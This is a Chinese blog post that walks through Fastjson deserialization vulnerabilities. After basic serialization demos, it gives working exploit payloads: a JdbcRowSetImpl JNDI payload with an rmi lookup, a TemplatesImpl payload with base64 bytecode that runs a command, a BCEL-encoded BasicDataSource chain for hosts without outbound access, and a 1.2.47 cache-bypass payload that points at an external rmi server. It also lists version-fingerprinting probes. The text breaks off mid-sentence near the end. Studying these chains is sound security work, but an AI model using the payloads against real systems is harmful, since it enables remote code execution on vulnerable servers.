Fastjson小小总结

举个例子:

 package fastjson;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class Student {
   private String name;
   private int age;

   public Student() {
       System.out.println("构造函数");
  }

   public String getName() {
       System.out.println("getName");
       return name;
  }

   public void setName(String name) {
       System.out.println("setName");
       this.name = name;
  }

   public int getAge() {
       System.out.println("getAge");
       return age;
  }

   public void setAge(int age) throws Exception{
       System.out.println("setAge");
       this.age = age;
  }
   public void setTest(int i){
       System.out.println("setTest");
  }
public static void test1() throws Exception {
   Student student = new Student();
   student.setAge(18);
   student.setName("Sentiment");
   System.out.println("====================");
   String jsonString1 = JSON.toJSONString(student);
   System.out.println("====================");
   String jsonString2 = JSON.toJSONString(student, SerializerFeature.WriteClassName);
   System.out.println(jsonString1);
   System.out.println(jsonString2);
}

结果


构造函数
setAge
setName
====================
getAge
getName
====================
getAge
getName
{"age":18,"name":"Sentiment"}
{"@type":"fastjson.Student","age":18,"name":"Sentiment"}

可以看到调用JSON.toJSONString时会自动调用对应的getter

其次是若加上SerializerFeature.WriteClassName,则返回的内容除属性值外,还会加上**@type字段指明类**

String jsonString1 = "{\"age\":18,\"name\":\"Sentiment\"}\n";
String jsonString2 = "{\"@type\":\"fastjson.Student\",\"age\":18,\"name\":\"Sentiment\"}\n";
System.out.println(JSON.parse(jsonString1));
System.out.println("======================");
System.out.println(JSON.parse(jsonString2));
System.out.println("======================");
System.out.println(JSON.parseObject(jsonString1));
System.out.println("======================");
System.out.println(JSON.parseObject(jsonString2));
System.out.println("======================");

结果

{"name":"Sentiment","age":18}
======================
构造函数
setAge
setName
fastjson.Student@4629104a
======================
{"name":"Sentiment","age":18}
======================
构造函数
setAge
setName
getAge
getName
{"name":"Sentiment","age":18}
======================

总结
当不加上**@type指明类,是得不到类对象**的

当对加上**@type字段的字符串进行转换后,除了能得到类对象外,parse会调用对应的setter**,parseObject会调用settergetter

这种@type的方式也叫做autotype

	autotype 是 Fastjson 中的一个重要机制,粗略来说就是用于设置能否将 JSON 反序列化成对象。

注意 :
fastjson反序列化默认只能反序列化公共属性,如果想要对应的私有属性也被反序列话,则需要下面这样添加一个Feature.SupportNonPublicField参数: JSON.parseObject(myJSON, User.class, Feature.SupportNonPublicField);

版本号

对于fastjson反序列化漏洞的利用,第一步要做的事情,就是想办法去判断fastjson的版本号,因为不同版本的fastjson漏洞利用方式有所不同

  • 常见判断方法

     显错判断
     DNS请求判断
     TCP、UDP端口请求判断
     延迟判断
     	访问一个不常见的外网IP地址,会延迟几秒,访问一个内网地址127.0.0.1 会瞬间返回,那么证明这个POC可用,也间接证明fastjson版本是1.2.47之前的版本。那么在不出网的情况下,可以借助这个POC的延迟效果
    

JdbcRowSetImpl链结合JNDI注入

com.sun.rowset.JdbcRowSetImpl就是这么一个类,这个类中有两个set方法,分别是setDataSourceName()与setAutoCommit(),我们看一下相关实现:

public void setAutoCommit(boolean var1) throws SQLException {
   if (this.conn != null) {
       this.conn.setAutoCommit(var1);
  } else {
       this.conn = this.connect();
       this.conn.setAutoCommit(var1);
  }
}

若this.conn==null,会调用this.connect()

private Connection connect() throws SQLException {
   if (this.conn != null) {
       return this.conn;
  } else if (this.getDataSourceName() != null) {
       try {
           InitialContext var1 = new InitialContext();
           DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName())
           

connect()中若this.getDataSourceName() != null,则会调用lookup,进而通过rmi等协议远程类加载
跟进getDataSourceName()的值

public String getDataSourceName() {
    return dataSource;
}

是由dataSource决定的,并且在BaseRowSet.setDataSourceName()中可以决定了他的值

public void setDataSourceName(String name) throws SQLException {

    if (name == null) {
        dataSource = null;
    } else if (name.equals("")) {
       throw new SQLException("DataSource name cannot be empty string");
    } else {
       dataSource = name;
    }

    URL = null;
}

JdbcRowSetImpl.setDataSourceName调用了BaseRowSet.setDataSourceName()

public void setDataSourceName(String var1) throws SQLException {
    if (this.getDataSourceName() != null) {
        if (!this.getDataSourceName().equals(var1)) {
            super.setDataSourceName(var1);
            this.conn = null;
            this.ps = null;
            this.rs = null;
        }
    } else {
        super.setDataSourceName(var1);
    }
}

所以基本思路也就出来了,通过**@type机制调用dataSourceNameautoCommit并对其赋值,调用时自动加上前缀set就调用到了我们刚才说到的两个方法进而触发类加载代码执行**

{"@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://127.0.0.1:1099/Evil", "autoCommit":true}}

TemplatesImpl动态加载字节码

字节码编程

package fastjson;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class TemplatesPoc extends AbstractTranslet {

    public TemplatesPoc() throws IOException {
        Runtime.getRuntime().exec("calc");
    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
    }

    @Override
    public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException {

    }

    public static void main(String[] args) throws Exception {
        TemplatesPoc t = new TemplatesPoc();
    }
}

把字节码base64加密后传入payload

public class test1 {

public static void main(String[] args) throws Exception{

String payload = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADIANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAtManNvbi9UZXN0OwEACkV4Y2VwdGlvbnMHACwBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHAC0BAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABGFyZ3MBABNbTGphdmEvbGFuZy9TdHJpbmc7AQABdAcALgEAClNvdXJjZUZpbGUBAAlUZXN0LmphdmEMAAgACQcALwwAMAAxAQAEY2FsYwwAMgAzAQAJanNvbi9UZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABwAAAAAABAABAAgACQACAAoAAABAAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAIACwAAAA4AAwAAABEABAASAA0AEwAMAAAADAABAAAADgANAA4AAAAPAAAABAABABAAAQARABIAAQAKAAAASQAAAAQAAAABsQAAAAIACwAAAAYAAQAAABcADAAAACoABAAAAAEADQAOAAAAAAABABMAFAABAAAAAQAVABYAAgAAAAEAFwAYAAMAAQARABkAAgAKAAAAPwAAAAMAAAABsQAAAAIACwAAAAYAAQAAABwADAAAACAAAwAAAAEADQAOAAAAAAABABMAFAABAAAAAQAaABsAAgAPAAAABAABABwACQAdAB4AAgAKAAAAQQACAAIAAAAJuwAFWbcABkyxAAAAAgALAAAACgACAAAAHwAIACAADAAAABYAAgAAAAkAHwAgAAAACAABACEADgABAA8AAAAEAAEAIgABACMAAAACACQ=\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }}";
JSON.parseObject(payload, Feature.SupportNonPublicField);
}
}

该利用链中最重要的是**_bytecodes**,但其为private私有字段,且没有setter方法,因此使用该payload需要设置Feature.SupportNonPublicField,所以该payload利用条件比较苛刻。

利用条件:

	服务端使用parseObject()时,必须使用如下格式才能触发漏洞:JSON.parseObject(input, Object.class, Feature.SupportNonPublicField)
	服务端使用parse()时,需要JSON.parse(text1,Feature.SupportNonPublicField)

BasicDataSource不出网利用

利用到不出网常见方式BCEL动态加载字节码
这种攻击方式需要特定的依赖tomcat-dbcp;其次需要注意这种方式只适用于JDK8u251之前,因为在此之后BCEL类被删除了

import java.io.IOException;

public class Exec {
    public Exec() throws IOException {
        Runtime.getRuntime().exec("calc");
    }
}
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;  //8u_251后移除,注意版本


public class BCELTest {
    public static void main(String[] args) throws Exception {
        JavaClass javaClass = Repository.lookupClass(Exec.class);
        String code = Utility.encode(javaClass.getBytes(),true);
        System.out.println("$$BCEL$$"+code);
        new ClassLoader().loadClass("$$BCEL$$"+code).newInstance();
    }
}

运行后输出的需要加载的内容

import com.alibaba.fastjson.JSON;

public class BCEL {
    public static void main(String[] args) {
        String payload =
                "{\n" +
                        "    {\n" +
                        "        \"x\":{\n" +
                        "                \"@type\": \"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\n" +
                        "                \"driverClassLoader\": {\n" +
                        "                    \"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +
                        "                },\n" +
                        "                \"driverClassName\": \"$$BCEL$$$l$8b$I$A$A$A$A$A$A$AeP$cbN$C1$U$3d$85$91$81qP$k$e2$fb$RW$82$Lg$e3$OcL$M$s$sD$8c$Y$5c$P$b5$8e$r$d0$9a$99b$f8$z7j$5c$f8$B$7e$94$f1v4$88$b1M$7br$ce$3d$a7$b7$ed$c7$e7$db$3b$80C$ecx$c8$a1$e2$a1$8a$a5$3cj$W$97$5d$ac$b8Xe$c8$jI$r$cd1C$b6$de$e818$a7$faV0$y$b6$a5$S$X$e3Q_$c4$d7a$7fHJ$a5$ady8$ec$85$b1$b4$fcGt$cc$bdL$ac$fb$$L$cc$m$d1$whM$Eo2x$ad$J$X$PFj$95$b8X$p$de$d5$e3$98$8b3iS$Fk$3a$Y$84$8f$a1$P$Xy$X$eb$3e6$b0I$c7Q$H$eec$L$db$M$c5$3fG2$94$ac$3f$Y$86$w$K$3a$fd$81$e0$86$a1$9aJR$H$e7$9di$3b$86$f2$af$f1j$ac$8c$iQG$_$SfJj$f5F$fb$9f$87$ee$ec$88$b4$d1$5e$7d$a6$da5$b1TQs6p$Zk$$$92$a4$89$5d$cc$d1$af$da$c1h$d2C$90A$81$d8$J$n$p$5c$d8$7f$B$7bE$a6$92$7d$86s$f3DJ$G$9e$d5$91$a5$3d$H$872EJ$cd$T$f3$bf$T$84$c5$UAU$faWZ$a54W$fe$C$F$f1$9b$ac$cb$B$A$A\"\n" +
                        "        }\n" +
                        "    }: \"x\"\n" +
                        "}";
        JSON.parse(payload);
    }
}

Fastjson 1.2.47 反序列化 RCE

fastjson有一个cache缓存,在加载类时如果autotype没开启,会先从缓存中获取类,如果有则直接调用

例如缓存中一般都会有java.lang.Class类,当fastjson发现该类时,就会直接调用他的val中的类,进而回到了JdbcRowSetImpl链的利用过程

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://ip2:9999/Exploit",
        "autoCommit":true
    }
}

如果目标主机不能出网,那么第一种方式就不好使了
fastjson getshell的时候 需要构造一个恶意类 ,用的 rmijdni协议都是要出网的。在内网的情况下如果不出网的情况下就难以利用。
但是用第二种,第三种方式

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
FastjsonFastjson2都是JSON库,用于处理JSON格式的数据。 Fastjson2是Fastjson项目的重要升级,旨在为未来十年提供高性能的JSON库。相比于原来的FastjsonFastjson2在性能上有了很大的提升,并且更加安全。它完全删除了autoType白名单,提升了安全性。 在使用上,导入Fastjson2的依赖后,与原来的Fastjson在代码上基本相同。唯一的区别是在Fastjson2中,将`jsonArray.toJavaList`方法转变为`jsonArray.toList`。 总结来说,FastjsonFastjson2都是用于处理JSON数据的库,但Fastjson2是Fastjson的升级版本,提供了更高的性能和更好的安全性。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *2* [fastjson2 介绍及使用](https://blog.csdn.net/qq_33697094/article/details/128114939)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *3* [Fastjson2你开始使用了吗?来看看源码解析](https://blog.csdn.net/chenxuyuana/article/details/125581066)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值